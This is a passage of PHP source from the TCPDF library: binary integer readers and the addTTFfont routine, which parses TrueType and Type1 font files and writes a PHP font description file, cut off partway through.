gzcompress($stream); $out .= ' /Filter /FlateDecode'; } $rect = sprintf('%F %F', $w, $h); $out .= ' /BBox [0 0 '.$rect.']'; $out .= ' /Matrix [1 0 0 1 0 0]'; $out .= ' /Resources 2 0 R'; $stream = $this->_getrawstream($stream); $out .= ' /Length '.strlen($stream); $out .= ' >>'; $out .= ' stream'."\n".$stream."\n".'endstream'; $out .= "\n".'endobj'; $this->_out($out); return $this->n; } /** * Get ULONG from string (Big Endian 32-bit unsigned integer). * @param $str (string) string from where to extract value * @param $offset (int) point from where to read the data * @return int 32 bit value * @author Nicola Asuni * @protected * @since 5.2.000 (2010-06-02) */ protected function _getULONG($str, $offset) { $v = unpack('Ni', substr($str, $offset, 4)); return $v['i']; } /** * Get USHORT from string (Big Endian 16-bit unsigned integer). * @param $str (string) string from where to extract value * @param $offset (int) point from where to read the data * @return int 16 bit value * @author Nicola Asuni * @protected * @since 5.2.000 (2010-06-02) */ protected function _getUSHORT($str, $offset) { $v = unpack('ni', substr($str, $offset, 2)); return $v['i']; } /** * Get SHORT from string (Big Endian 16-bit signed integer). * @param $str (string) String from where to extract value. * @param $offset (int) Point from where to read the data. * @return int 16 bit value * @author Nicola Asuni * @protected * @since 5.2.000 (2010-06-02) */ protected function _getSHORT($str, $offset) { $v = unpack('si', substr($str, $offset, 2)); return $v['i']; } /** * Get FWORD from string (Big Endian 16-bit signed integer). * @param $str (string) String from where to extract value. * @param $offset (int) Point from where to read the data. * @return int 16 bit value * @author Nicola Asuni * @protected * @since 5.9.123 (2011-09-30) */ protected function _getFWORD($str, $offset) { $v = $this->_getUSHORT($str, $offset); if ($v > 0x7fff) { $v -= 0x10000; } return $v; } /** * Get UFWORD from string (Big Endian 16-bit unsigned integer). * @param $str (string) string from where to extract value * @param $offset (int) point from where to read the data * @return int 16 bit value * @author Nicola Asuni * @protected * @since 5.9.123 (2011-09-30) */ protected function _getUFWORD($str, $offset) { $v = $this->_getUSHORT($str, $offset); return $v; } /** * Get FIXED from string (32-bit signed fixed-point number (16.16). * @param $str (string) string from where to extract value * @param $offset (int) point from where to read the data * @return int 16 bit value * @author Nicola Asuni * @protected * @since 5.9.123 (2011-09-30) */ protected function _getFIXED($str, $offset) { // mantissa $m = $this->_getFWORD($str, $offset); // fraction $f = $this->_getUSHORT($str, ($offset + 2)); $v = floatval(''.$m.'.'.$f.''); return $v; } /** * Get BYTE from string (8-bit unsigned integer). * @param $str (string) String from where to extract value. * @param $offset (int) Point from where to read the data. * @return int 8 bit value * @author Nicola Asuni * @protected * @since 5.2.000 (2010-06-02) */ protected function _getBYTE($str, $offset) { $v = unpack('Ci', substr($str, $offset, 1)); return $v['i']; } /** * Update the CIDToGIDMap string with a new value. * @param $map (string) CIDToGIDMap. * @param $cid (int) CID value. * @param $gid (int) GID value. * @return (string) CIDToGIDMap. * @author Nicola Asuni * @protected * @since 5.9.123 (2011-09-29) */ protected function updateCIDtoGIDmap($map, $cid, $gid) { if (($cid >= 0) AND ($cid <= 0xFFFF) AND ($gid >= 0)) { if ($gid > 0xFFFF) { $gid -= 0x10000; } $map[($cid * 2)] = chr($gid >> 8); $map[(($cid * 2) + 1)] = chr($gid & 0xFF); } return $map; } /** * Convert and add the selected TrueType or Type1 font to the fonts folder (that must be writeable). * @param $fontfile (string) Font file (full path). * @param $fonttype (string) Font type. Leave empty for autodetect mode. Valid values are: TrueTypeUnicode, TrueType, Type1, CID0JP = CID-0 Japanese, CID0KR = CID-0 Korean, CID0CS = CID-0 Chinese Simplified, CID0CT = CID-0 Chinese Traditional. * @param $enc (string) Name of the encoding table to use. Leave empty for default mode. Omit this parameter for TrueType Unicode and symbolic fonts like Symbol or ZapfDingBats. * @param $flags (int) Unsigned 32-bit integer containing flags specifying various characteristics of the font (PDF32000:2008 - 9.8.2 Font Descriptor Flags): +1 for fixed font; +4 for symbol or +32 for non-symbol; +64 for italic. Fixed and Italic mode are generally autodetected so you have to set it to 32 = non-symbolic font (default) or 4 = symbolic font. * @param $outpath (string) Output path for generated font files (must be writeable by the web server). Leave empty for default font folder. * @param $platid (int) Platform ID for CMAP table to extract (when building a Unicode font for Windows this value should be 3, for Macintosh should be 1). * @param $encid (int) Encoding ID for CMAP table to extract (when building a Unicode font for Windows this value should be 1, for Macintosh should be 0). When Platform ID is 3, legal values for Encoding ID are: 0=Symbol, 1=Unicode, 2=ShiftJIS, 3=PRC, 4=Big5, 5=Wansung, 6=Johab, 7=Reserved, 8=Reserved, 9=Reserved, 10=UCS-4. * @param $addcbbox (boolean) If true includes the character bounding box information on the php font file. * @return (string) TCPDF font name. * @author Nicola Asuni * @public * @since 5.9.123 (2010-09-30) */ public function addTTFfont($fontfile, $fonttype='', $enc='', $flags=32, $outpath='', $platid=3, $encid=1, $addcbbox=false) { if (!file_exists($fontfile)) { $this->Error('Could not find file: '.$fontfile.''); } // font metrics $fmetric = array(); // build new font name for TCPDF compatibility $font_path_parts = pathinfo($fontfile); if (!isset($font_path_parts['filename'])) { $font_path_parts['filename'] = substr($font_path_parts['basename'], 0, -(strlen($font_path_parts['extension']) + 1)); } $font_name = strtolower($font_path_parts['filename']); $font_name = preg_replace('/[^a-z0-9_]/', '', $font_name); $search = array('bold', 'oblique', 'italic', 'regular'); $replace = array('b', 'i', 'i', ''); $font_name = str_replace($search, $replace, $font_name); if (empty($font_name)) { // set generic name $font_name = 'tcpdffont'; } // set output path if (empty($outpath)) { $outpath = $this->_getfontpath(); } // check if this font already exist if (file_exists($outpath.$font_name.'.php')) { // this font already exist (delete it from fonts folder to rebuild it) return $font_name; } $fmetric['file'] = $font_name.'.z'; $fmetric['ctg'] = $font_name.'.ctg.z'; // get font data $font = file_get_contents($fontfile); $fmetric['originalsize'] = strlen($font); // autodetect font type if (empty($fonttype)) { if ($this->_getULONG($font, 0) == 0x10000) { // True Type (Unicode or not) $fonttype = 'TrueTypeUnicode'; } elseif (substr($font, 0, 4) == 'OTTO') { // Open Type (Unicode or not) $this->Error('Unsupported font format: OpenType with CFF data.'); } else { // Type 1 $fonttype = 'Type1'; } } // set font type switch ($fonttype) { case 'CID0CT': case 'CID0CS': case 'CID0KR': case 'CID0JP': { $fmetric['type'] = 'cidfont0'; break; } case 'Type1': { $fmetric['type'] = 'Type1'; if (empty($enc) AND (($flags & 4) == 0)) { $enc = 'cp1252'; } break; } case 'TrueType': { $fmetric['type'] = 'TrueType'; break; } case 'TrueTypeUnicode': default: { $fmetric['type'] = 'TrueTypeUnicode'; break; } } // set encoding maps (if any) $fmetric['enc'] = preg_replace('/[^A-Za-z0-9_\-]/', '', $enc); $fmetric['diff'] = ''; if (($fmetric['type'] == 'TrueType') OR ($fmetric['type'] == 'Type1')) { if (!empty($enc) AND ($enc != 'cp1252') AND isset($this->encmaps->encmap[$enc])) { // build differences from reference encoding $enc_ref = $this->encmaps->encmap['cp1252']; $enc_target = $this->encmaps->encmap[$enc]; $last = 0; for ($i = 32; $i <= 255; ++$i) { if ($enc_target != $enc_ref[$i]) { if ($i != ($last + 1)) { $fmetric['diff'] .= $i.' '; } $last = $i; $fmetric['diff'] .= '/'.$enc_target[$i].' '; } } } } // parse the font by type if ($fmetric['type'] == 'Type1') { // ---------- TYPE 1 ---------- // read first segment $a = unpack('Cmarker/Ctype/Vsize', substr($font, 0, 6)); if ($a['marker'] != 128) { $this->Error('Font file is not a valid binary Type1'); } $fmetric['size1'] = $a['size']; $data = substr($font, 6, $fmetric['size1']); // read second segment $a = unpack('Cmarker/Ctype/Vsize', substr($font, (6 + $fmetric['size1']), 6)); if ($a['marker'] != 128) { $this->Error('Font file is not a valid binary Type1'); } $fmetric['size2'] = $a['size']; $encrypted = substr($font, (12 + $fmetric['size1']), $fmetric['size2']); $data .= $encrypted; // store compressed font $fp = fopen($outpath.$fmetric['file'], 'wb'); fwrite($fp, gzcompress($data)); fclose($fp); // get font info $fmetric['Flags'] = $flags; preg_match ('#/FullName[\s]*\(([^\)]*)#', $font, $matches); $fmetric['name'] = preg_replace('/[^a-zA-Z0-9_\-]/', '', $matches[1]); preg_match('#/FontBBox[\s]*{([^}]*)#', $font, $matches); $fmetric['bbox'] = trim($matches[1]); $bv = explode(' ', $fmetric['bbox']); $fmetric['Ascent'] = intval($bv[3]); $fmetric['Descent'] = intval($bv[1]); preg_match('#/ItalicAngle[\s]*([0-9\+\-]*)#', $font, $matches); $fmetric['italicAngle'] = intval($matches[1]); if ($fmetric['italicAngle'] != 0) { $fmetric['Flags'] |= 64; } preg_match('#/UnderlinePosition[\s]*([0-9\+\-]*)#', $font, $matches); $fmetric['underlinePosition'] = intval($matches[1]); preg_match('#/UnderlineThickness[\s]*([0-9\+\-]*)#', $font, $matches); $fmetric['underlineThickness'] = intval($matches[1]); preg_match('#/isFixedPitch[\s]*([^\s]*)#', $font, $matches); if ($matches[1] == 'true') { $fmetric['Flags'] |= 1; } // get internal map $imap = array(); if (preg_match_all('#dup[\s]([0-9]+)[\s]*/([^\s]*)[\s]put#sU', $font, $fmap, PREG_SET_ORDER) > 0) { foreach ($fmap as $v) { $imap[$v[2]] = $v[1]; } } // decrypt eexec encrypted part $r = 55665; // eexec encryption constant $c1 = 52845; $c2 = 22719; $elen = strlen($encrypted); $eplain = ''; for ($i = 0; $i < $elen; ++$i) { $chr = ord($encrypted[$i]); $eplain .= chr($chr ^ ($r >> 8)); $r = ((($chr + $r) * $c1 + $c2) % 65536); } if (preg_match('#/ForceBold[\s]*([^\s]*)#', $eplain, $matches) > 0) { if ($matches[1] == 'true') { $fmetric['Flags'] |= 0x40000; } } if (preg_match('#/StdVW[\s]*\[([^\]]*)#', $eplain, $matches) > 0) { $fmetric['StemV'] = intval($matches[1]); } else { $fmetric['StemV'] = 70; } if (preg_match('#/StdHW[\s]*\[([^\]]*)#', $eplain, $matches) > 0) { $fmetric['StemH'] = intval($matches[1]); } else { $fmetric['StemH'] = 30; } if (preg_match('#/BlueValues[\s]*\[([^\]]*)#', $eplain, $matches) > 0) { $bv = explode(' ', $matches[1]); if (count($bv) >= 6) { $v1 = intval($bv[2]); $v2 = intval($bv[4]); if ($v1 <= $v2) { $fmetric['XHeight'] = $v1; $fmetric['CapHeight'] = $v2; } else { $fmetric['XHeight'] = $v2; $fmetric['CapHeight'] = $v1; } } else { $fmetric['XHeight'] = 450; $fmetric['CapHeight'] = 700; } } else { $fmetric['XHeight'] = 450; $fmetric['CapHeight'] = 700; } // get the number of random bytes at the beginning of charstrings if (preg_match('#/lenIV[\s]*([0-9]*)#', $eplain, $matches) > 0) { $lenIV = intval($matches[1]); } else { $lenIV = 4; } $fmetric['Leading'] = 0; // get charstring data $eplain = substr($eplain, (strpos($eplain, '/CharStrings') + 1)); preg_match_all('#/([A-Za-z0-9\.]*)[\s][0-9]+[\s]RD[\s](.*)[\s]ND#sU', $eplain, $matches, PREG_SET_ORDER); if (!empty($enc) AND isset($this->encmaps->encmap[$enc])) { $enc_map = $this->encmaps->encmap[$enc]; } else { $enc_map = false; } $fmetric['cw'] = ''; $fmetric['MaxWidth'] = 0; $cwidths = array(); foreach ($matches as $k => $v) { $cid = 0; if (isset($imap[$v[1]])) { $cid = $imap[$v[1]]; } elseif ($enc_map !== false) { $cid = array_search($v[1], $enc_map); if ($cid === false) { $cid = 0; } elseif ($cid > 1000) { $cid -= 1000; } } // decrypt charstring encrypted part $r = 4330; // charstring encryption constant $c1 = 52845; $c2 = 22719; $cd = $v[2]; $clen = strlen($cd); $ccom = array(); for ($i = 0; $i < $clen; ++$i) { $chr = ord($cd[$i]); $ccom[] = ($chr ^ ($r >> 8)); $r = ((($chr + $r) * $c1 + $c2) % 65536); } // decode numbers $cdec = array(); $ck = 0; $i = $lenIV; while ($i < $clen) { if ($ccom[$i] < 32) { $cdec[$ck] = $ccom[$i]; if (($ck > 0) AND ($cdec[$ck] == 13)) { // hsbw command: update width $cwidths[$cid] = $cdec[($ck - 1)]; } ++$i; } elseif (($ccom[$i] >= 32) AND ($ccom[$i] <= 246)) { $cdec[$ck] = ($ccom[$i] - 139); ++$i; } elseif (($ccom[$i] >= 247) AND ($ccom[$i] <= 250)) { $cdec[$ck] = ((($ccom[$i] - 247) * 256) + $ccom[($i + 1)] + 108); $i += 2; } elseif (($ccom[$i] >= 251) AND ($ccom[$i] <= 254)) { $cdec[$ck] = ((-($ccom[$i] - 251) * 256) - $ccom[($i + 1)] - 108); $i += 2; } elseif ($ccom[$i] == 255) { $sval = chr($ccom[($i + 1)]).chr($ccom[($i + 2)]).chr($ccom[($i + 3)]).chr($ccom[($i + 4)]); $vsval = unpack('li', $sval); $cdec[$ck] = $vsval['i']; $i += 5; } ++$ck; } } // end for each matches $fmetric['MissingWidth'] = $cwidths[0]; $fmetric['MaxWidth'] = $fmetric['MissingWidth']; $fmetric['AvgWidth'] = 0; // set chars widths for ($cid = 0; $cid <= 255; ++$cid) { if (isset($cwidths[$cid])) { if ($cwidths[$cid] > $fmetric['MaxWidth']) { $fmetric['MaxWidth'] = $cwidths[$cid]; } $fmetric['AvgWidth'] += $cwidths[$cid]; $fmetric['cw'] .= ','.$cid.'=>'.$cwidths[$cid]; } else { $fmetric['cw'] .= ','.$cid.'=>'.$fmetric['MissingWidth']; } } $fmetric['AvgWidth'] = round($fmetric['AvgWidth'] / count($cwidths)); } else { // ---------- TRUE TYPE ---------- if ($fmetric['type'] != 'cidfont0') { // store compressed font $fp = fopen($outpath.$fmetric['file'], 'wb'); fwrite($fp, gzcompress($font)); fclose($fp); } $offset = 0; // offset position of the font data if ($this->_getULONG($font, $offset) != 0x10000) { // sfnt version must be 0x00010000 for TrueType version 1.0. return $font; } $offset += 4; // get number of tables $numTables = $this->_getUSHORT($font, $offset); $offset += 2; // skip searchRange, entrySelector and rangeShift $offset += 6; // tables array $table = array(); // ---------- get tables ---------- for ($i = 0; $i < $numTables; ++$i) { // get table info $tag = substr($font, $offset, 4); $offset += 4; $table[$tag] = array(); $table[$tag]['checkSum'] = $this->_getULONG($font, $offset); $offset += 4; $table[$tag]['offset'] = $this->_getULONG($font, $offset); $offset += 4; $table[$tag]['length'] = $this->_getULONG($font, $offset); $offset += 4; } // check magicNumber $offset = $table['head']['offset'] + 12; if ($this->_getULONG($font, $offset) != 0x5F0F3CF5) { // magicNumber must be 0x5F0F3CF5 return $font; } $offset += 4; $offset += 2; // skip flags // get FUnits $fmetric['unitsPerEm'] = $this->_getUSHORT($font, $offset); $offset += 2; // units ratio constant $urk = (1000 / $fmetric['unitsPerEm']); $offset += 16; // skip created, modified $xMin = round($this->_getFWORD($font, $offset) * $urk); $offset += 2; $yMin = round($this->_getFWORD($font, $offset) * $urk); $offset += 2; $xMax = round($this->_getFWORD($font, $offset) * $urk); $offset += 2; $yMax = round($this->_getFWORD($font, $offset) * $urk); $offset += 2; $fmetric['bbox'] = ''.$xMin.' '.$yMin.' '.$xMax.' '.$yMax.''; $macStyle = $this->_getUSHORT($font, $offset); $offset += 2; // PDF font flags $fmetric['Flags'] = $flags; if (($macStyle & 2) == 2) { // italic flag $fmetric['Flags'] |= 64; } // get offset mode (indexToLocFormat : 0 = short, 1 = long) $offset = $table['head']['offset'] + 50; $short_offset = ($this->_getSHORT($font, $offset) == 0); $offset += 2; // get the offsets to the locations of the glyphs in the font, relative to the beginning of the glyphData table $indexToLoc = array(); $offset = $table['loca']['offset']; if ($short_offset) { // short version $tot_num_glyphs = ($table['loca']['length'] / 2); // numGlyphs + 1 for ($i = 0; $i < $tot_num_glyphs; ++$i) { $indexToLoc[$i] = $this->_getUSHORT($font, $offset) * 2; $offset += 2; } } else { // long version $tot_num_glyphs = ($table['loca']['length'] / 4); // numGlyphs + 1 for ($i = 0; $i < $tot_num_glyphs; ++$i) { $indexToLoc[$i] = $this->_getULONG($font, $offset); $offset += 4; } } // get glyphs indexes of chars from cmap table $offset = $table['cmap']['offset'] + 2; $numEncodingTables = $this->_getUSHORT($font, $offset); $offset += 2; $encodingTables = array(); for ($i = 0; $i < $numEncodingTables; ++$i) { $encodingTables[$i]['platformID'] = $this->_getUSHORT($font, $offset); $offset += 2; $encodingTables[$i]['encodingID'] = $this->_getUSHORT($font, $offset); $offset += 2; $encodingTables[$i]['offset'] = $this->_getULONG($font, $offset); $offset += 4; } // ---------- get os/2 metrics ---------- $offset = $table['OS/2']['offset']; $offset += 2; // skip version // xAvgCharWidth $fmetric['AvgWidth'] = round($this->_getFWORD($font, $offset) * $urk); $offset += 2; // usWeightClass $usWeightClass = round($this->_getUFWORD($font, $offset) * $urk); // estimate StemV and StemH (400 = usWeightClass for Normal - Regular font) $fmetric['StemV'] = round((70 * $usWeightClass) / 400); $fmetric['StemH'] = round((30 * $usWeightClass) / 400); $offset += 2; $offset += 2; // usWidthClass $fsType = $this->_getSHORT($font, $offset); $offset += 2; if ($fsType == 2) { $this->Error('This Font cannot be modified, embedded or exchanged in any manner without first obtaining permission of the legal owner.'); } // ---------- get font name ---------- $fmetric['name'] = ''; $offset = $table['name']['offset']; $offset += 2; // skip Format selector (=0). // Number of NameRecords that follow n. $numNameRecords = $this->_getUSHORT($font, $offset); $offset += 2; // Offset to start of string storage (from start of table). $stringStorageOffset = $this->_getUSHORT($font, $offset); $offset += 2; for ($i = 0; $i < $numNameRecords; ++$i) { $offset += 6; // skip Platform ID, Platform-specific encoding ID, Language ID. // Name ID. $nameID = $this->_getUSHORT($font, $offset); $offset += 2; if ($nameID == 6) { // String length (in bytes). $stringLength = $this->_getUSHORT($font, $offset); $offset += 2; // String offset from start of storage area (in bytes). $stringOffset = $this->_getUSHORT($font, $offset); $offset += 2; $offset = ($table['name']['offset'] + $stringStorageOffset + $stringOffset); $fmetric['name'] = substr($font, $offset, $stringLength); $fmetric['name'] = preg_replace('/[^a-zA-Z0-9_\-]/', '', $fmetric['name']); break; } else { $offset += 4; // skip String length, String offset } } if (empty($fmetric['name'])) { $fmetric['name'] = $font_name; } // ---------- get post data ---------- $offset = $table['post']['offset']; $offset += 4; // skip Format Type $fmetric['italicAngle'] = $this->_getFIXED($font, $offset); $offset += 4; $fmetric['underlinePosition'] = round($this->_getFWORD($font, $offset) * $urk); $offset += 2; $fmetric['underlineThickness'] = round($this->_getFWORD($font, $offset) * $urk); $offset += 2; $isFixedPitch = ($this->_getULONG($font, $offset) == 0) ? false : true; $offset += 2; if ($isFixedPitch) { $fmetric['Flags'] |= 1; } // ---------- get hhea data ---------- $offset = $table['hhea']['offset']; $offset += 4; // skip Table version number // Ascender $fmetric['Ascent'] = round($this->_getFWORD($font, $offset) * $urk); $offset += 2; // Descender $fmetric['Descent'] = round($this->_getFWORD($font, $offset) * $urk); $offset += 2; // LineGap $fmetric['Leading'] = round($this->_getFWORD($font, $offset) * $urk); $offset += 2; // advanceWidthMax $fmetric['MaxWidth'] = round($this->_getUFWORD($font, $offset) * $urk); $offset += 2; $offset += 22; // skip some values // get the number of hMetric entries in hmtx table $numberOfHMetrics = $this->_getUSHORT($font, $offset); // ---------- get maxp data ---------- $offset = $table['maxp']['offset']; $offset += 4; // skip Table version number // get the the number of glyphs in the font. $numGlyphs = $this->_getUSHORT($font, $offset); // ---------- get CIDToGIDMap ---------- $ctg = array(); foreach ($encodingTables as $enctable) { // get only specified Platform ID and Encoding ID if (($enctable['platformID'] == $platid) AND ($enctable['encodingID'] == $encid)) { $offset = $table['cmap']['offset'] + $enctable['offset']; $format = $this->_getUSHORT($font, $offset); $offset += 2; switch ($format) { case 0: { // Format 0: Byte encoding table $offset += 4; // skip length and version/language for ($c = 0; $c < 256; ++$c) { $g = $this->_getBYTE($font, $offset); $ctg[$c] = $g; ++$offset; } break; } case 2: { // Format 2: High-byte mapping through table $offset += 4; // skip length and version/language $numSubHeaders = 0; for ($i = 0; $i < 256; ++$i) { // Array that maps high bytes to subHeaders: value is subHeader index * 8. $subHeaderKeys[$i] = ($this->_getUSHORT($font, $offset) / 8); $offset += 2; if ($numSubHeaders < $subHeaderKeys[$i]) { $numSubHeaders = $subHeaderKeys[$i]; } } // the number of subHeaders is equal to the max of subHeaderKeys + 1 ++$numSubHeaders; // read subHeader structures $subHeaders = array(); $numGlyphIndexArray = 0; for ($k = 0; $k < $numSubHeaders; ++$k) { $subHeaders[$k]['firstCode'] = $this->_getUSHORT($font, $offset); $offset += 2; $subHeaders[$k]['entryCount'] = $this->_getUSHORT($font, $offset); $offset += 2; $subHeaders[$k]['idDelta'] = $this->_getUSHORT($font, $offset); $offset += 2; $subHeaders[$k]['idRangeOffset'] = $this->_getUSHORT($font, $offset); $offset += 2; $subHeaders[$k]['idRangeOffset'] -= (2 + (($numSubHeaders - $k - 1) * 8)); $subHeaders[$k]['idRangeOffset'] /= 2; $numGlyphIndexArray += $subHeaders[$k]['entryCount']; } for ($k = 0; $k < $numGlyphIndexArray; ++$k) { $glyphIndexArray[$k] = $this->_getUSHORT($font, $offset); $offset += 2; } for ($i = 0; $i < 256; ++$i) { $k = $subHeaderKeys[$i]; if ($k == 0) { // one byte code $c = $i; $g = $glyphIndexArray[0]; $ctg[$c] = $g; } else { // two bytes code $start_byte = $subHeaders[$k]['firstCode']; $end_byte = $start_byte + $subHeaders[$k]['entryCount']; for ($j = $start_byte; $j < $end_byte; ++$j) { // combine high and low bytes $c = (($i << 8) + $j); $idRangeOffset = ($subHeaders[$k]['idRangeOffset'] + $j - $subHeaders[$k]['firstCode']); $g = ($glyphIndexArray[$idRangeOffset] + $idDelta[$k]) % 65536; if ($g < 0) { $g = 0; } $ctg[$c] = $g; } } } break; } case 4: { // Format 4: Segment mapping to delta values $length = $this->_getUSHORT($font, $offset); $offset += 2; $offset += 2; // skip version/language $segCount = ($this->_getUSHORT($font, $offset) / 2); $offset += 2; $offset += 6; // skip searchRange, entrySelector, rangeShift $endCount = array(); // array of end character codes for each segment for ($k = 0; $k < $segCount; ++$k) { $endCount[$k] = $this->_getUSHORT($font, $offset); $offset += 2; } $offset += 2; // skip reservedPad $startCount = array(); // array of start character codes for each segment for ($k = 0; $k < $segCount; ++$k) { $startCount[$k] = $this->_getUSHORT($font, $offset); $offset += 2; } $idDelta = array(); // delta for all character codes in segment for ($k = 0; $k < $segCount; ++$k) { $idDelta[$k] = $this->_getUSHORT($font, $offset); $offset += 2; } $idRangeOffset = array(); // Offsets into glyphIdArray or 0 for ($k = 0; $k < $segCount; ++$k) { $idRangeOffset[$k] = $this->_getUSHORT($font, $offset); $offset += 2; } $gidlen = ($length / 2) - 8 - (4 * $segCount); $glyphIdArray = array(); // glyph index array for ($k = 0; $k < $gidlen; ++$k) { $glyphIdArray[$k] = $this->_getUSHORT($font, $offset); $offset += 2; } for ($k = 0; $k < $segCount; ++$k) { for ($c = $startCount[$k]; $c <= $endCount[$k]; ++$c) { if ($idRangeOffset[$k] == 0) { $g = ($idDelta[$k] + $c) % 65536; } else { $gid = (($idRangeOffset[$k] / 2) + ($c - $startCount[$k]) - ($segCount - $k)); $g = ($glyphIdArray[$gid] + $idDelta[$k]) % 65536; } if ($g < 0) { $g = 0; } $ctg[$c] = $g; } } break; } case 6: { // Format 6: Trimmed table mapping $offset += 4; // skip length and version/language $firstCode = $this->_getUSHORT($font, $offset); $offset += 2; $entryCount = $this->_getUSHORT($font, $offset); $offset += 2; for ($k = 0; $k < $entryCount; ++$k) { $c = ($k + $firstCode); $g = $this->_getUSHORT($font, $offset); $offset += 2; $ctg[$c] = $g; } break; } case 8: { // Format 8: Mixed 16-bit and 32-bit coverage $offset += 10; // skip reserved, length and version/language for ($k = 0; $k < 8192; ++$k) { $is32[$k] = $this->_getBYTE($font, $offset); ++$offset; } $nGroups = $this->_getULONG($font, $offset); $offset += 4; for ($i = 0; $i < $nGroups; ++$i) { $startCharCode = $this->_getULONG($font, $offset); $offset += 4; $endCharCode = $this->_getULONG($font, $offset); $offset += 4; $startGlyphID = $this->_getULONG($font, $offset); $offset += 4; for ($k = $startCharCode; $k <= $endCharCode; ++$k) { $is32idx = floor($c / 8); if ((isset($is32[$is32idx])) AND (($is32[$is32idx] & (1 << (7 - ($c % 8)))) == 0)) { $c = $k; } else { // 32 bit format // convert to decimal (http://www.unicode.org/faq//utf_bom.html#utf16-4) //LEAD_OFFSET = (0xD800 - (0x10000 >> 10)) = 55232 //SURROGATE_OFFSET = (0x10000 - (0xD800 << 10) - 0xDC00) = -56613888 $c = ((55232 + ($k >> 10)) << 10) + (0xDC00 + ($k & 0x3FF)) -56613888; } $ctg[$c] = 0; ++$startGlyphID; } } break; } case 10: { // Format 10: Trimmed array $offset += 10; // skip reserved, length and version/language $startCharCode = $this->_getULONG($font, $offset); $offset += 4; $numChars = $this->_getULONG($font, $offset); $offset += 4; for ($k = 0; $k < $numChars; ++$k) { $c = ($k + $startCharCode); $g = $this->_getUSHORT($font, $offset); $ctg[$c] = $g; $offset += 2; } break; } case 12: { // Format 12: Segmented coverage $offset += 10; // skip length and version/language $nGroups = $this->_getULONG($font, $offset); $offset += 4; for ($k = 0; $k < $nGroups; ++$k) { $startCharCode = $this->_getULONG($font, $offset); $offset += 4; $endCharCode = $this->_getULONG($font, $offset); $offset += 4; $startGlyphCode = $this->_getULONG($font, $offset); $offset += 4; for ($c = $startCharCode; $c <= $endCharCode; ++$c) { $ctg[$c] = $startGlyphCode; ++$startGlyphCode; } } break; } case 13: { // Format 13: Many-to-one range mappings // to be implemented ... break; } case 14: { // Format 14: Unicode Variation Sequences // to be implemented ... break; } } } } if (!isset($ctg[0])) { $ctg[0] = 0; } // get xHeight (height of x) $offset = ($table['glyf']['offset'] + $indexToLoc[$ctg[120]] + 4); $yMin = $this->_getFWORD($font, $offset); $offset += 4; $yMax = $this->_getFWORD($font, $offset); $offset += 2; $fmetric['XHeight'] = round(($yMax - $yMin) * $urk); // get CapHeight (height of H) $offset = ($table['glyf']['offset'] + $indexToLoc[$ctg[72]] + 4); $yMin = $this->_getFWORD($font, $offset); $offset += 4; $yMax = $this->_getFWORD($font, $offset); $offset += 2; $fmetric['CapHeight'] = round(($yMax - $yMin) * $urk); // ceate widths array $cw = array(); $offset = $table['hmtx']['offset']; for ($i = 0 ; $i < $numberOfHMetrics; ++$i) { $cw[$i] = round($this->_getUFWORD($font, $offset) * $urk); $offset += 4; // skip lsb } if ($numberOfHMetrics < $numGlyphs) { // fill missing widths with the last value $cw = array_pad($cw, $numGlyphs, $cw[($numberOfHMetrics - 1)]); } $fmetric['MissingWidth'] = $cw[0]; $fmetric['cw'] = ''; for ($cid = 0; $cid <= 65535; ++$cid) { if (isset($ctg[$cid])) { if (isset($cw[$ctg[$cid]])) { $fmetric['cw'] .= ','.$cid.'=>'.$cw[$ctg[$cid]]; } if ($addcbbox AND isset($indexToLoc[$ctg[$cid]])) { $offset = ($table['glyf']['offset'] + $indexToLoc[$ctg[$cid]]); $xMin = round($this->_getFWORD($font, $offset + 2)) * $urk; $yMin = round($this->_getFWORD($font, $offset + 4)) * $urk; $xMax = round($this->_getFWORD($font, $offset + 6)) * $urk; $yMax = round($this->_getFWORD($font, $offset + 8)) * $urk; $fmetric['cbbox'] .= ','.$cid.'=>array('.$xMin.','.$yMin.','.$xMax.','.$yMax.')'; } } } } // end of true type if (($fmetric['type'] == 'TrueTypeUnicode') AND (count($ctg) == 256)) { $fmetric['type'] == 'TrueType'; } // ---------- create php font file ---------- $pfile = '<'.'?'.'php'."\n"; $pfile .= '// TCPDF FONT FILE DESCRIPTION'."\n"; $pfile .= '$type=\''.$fmetric['type'].'\';'."\n"; $pfile .= '$name=\''.$fmetric['name'].'\';'."\n"; $pfile .= '$up='.$fmetric['underlinePosition'].';'."\n"; $pfile .= '$ut='.$fmetric['underlineThickness'].';'."\n"; if ($fmetric['MissingWidth'] > 0) { $pfile .= '$dw='.$fmetric['MissingWidth'].';'."\n"; } else { $pfile .= '$dw='.$fmetric['AvgWidth'].';'."\n"; } $pfile .= '$diff=\''.$fmetric['diff'].'\';'."\n"; if ($fmetric['type'] == 'Type1') { // Type 1 $pfile .= '$enc=\''.$fmetric['enc'].'\';'."\n"; $pfile .= '$file=\''.$fmetric['file'].'\';'."\n"; $pfile .= '$size1='.$fmetric['size1'].';'."\n"; $pfile .= '$size2='.$fmetric['size2'].';'."\n"; } else { $pfile .= '$originalsize='.$fmetric['originalsize'].';'."\n"; if ($fmetric['type'] == 'cidfont0') { // CID-0 switch ($fonttype) { case 'CID0JP': { $pfile .= '// Japanese'."\n"; $pfile .= '$enc=\'UniJIS-UTF16-H\';'."\n"; $pfile .= '$cidinfo=array(\'Registry\'=>\'Adobe\', \'Ordering\'=>\'Japan1\',\'Supplement\'=>5);'."\n"; $pfile .= 'include(dirname(__FILE__).\'/uni2cid_aj16.php\');'."\n"; break; } case 'CID0KR': { $pfile .= '// Korean'."\n"; $pfile .= '$enc=\'UniKS-UTF16-H\';'."\n"; $pfile .= '$cidinfo=array(\'Registry\'=>\'Adobe\', \'Ordering\'=>\'Korea1\',\'Supplement\'=>0);'."\n"; $pfile .= 'include(dirname(__FILE__).\'/uni2cid_ak12.php\');'."\n"; break; } case 'CID0CS': { $pfile .= '// Chinese Simplified'."\n"; $pfile .= '$enc=\'UniGB-UTF16-H\';'."\n"; $pfile .= '$cidinfo=array(\'Registry\'=>\'Adobe\', \'Ordering\'=>\'GB1\',\'Supplement\'=>2);'."\n"; $pfile .= 'include(dirname(__FILE__).\'/uni2cid_ag15.php\');'."\n"; break; } case 'CID0CT': default: { $pfile .= '// Chinese Traditional'."\n"; $pfile .= '$enc=\'UniCNS-UTF16-H\';'."\n"; $pfile .= '$cidinfo=array(\'Registry\'=>\'Adobe\', \'Ordering\'=>\'CNS1\',\'Supplement\'=>0);'."\n"; $pfile .= 'include(dirname(__FILE__).\'/uni2cid_aj16.php\');'."\n"; break; } } } else { // TrueType $pfile .= '$enc=\''.$fmetric['enc'].'\';'."\n"; 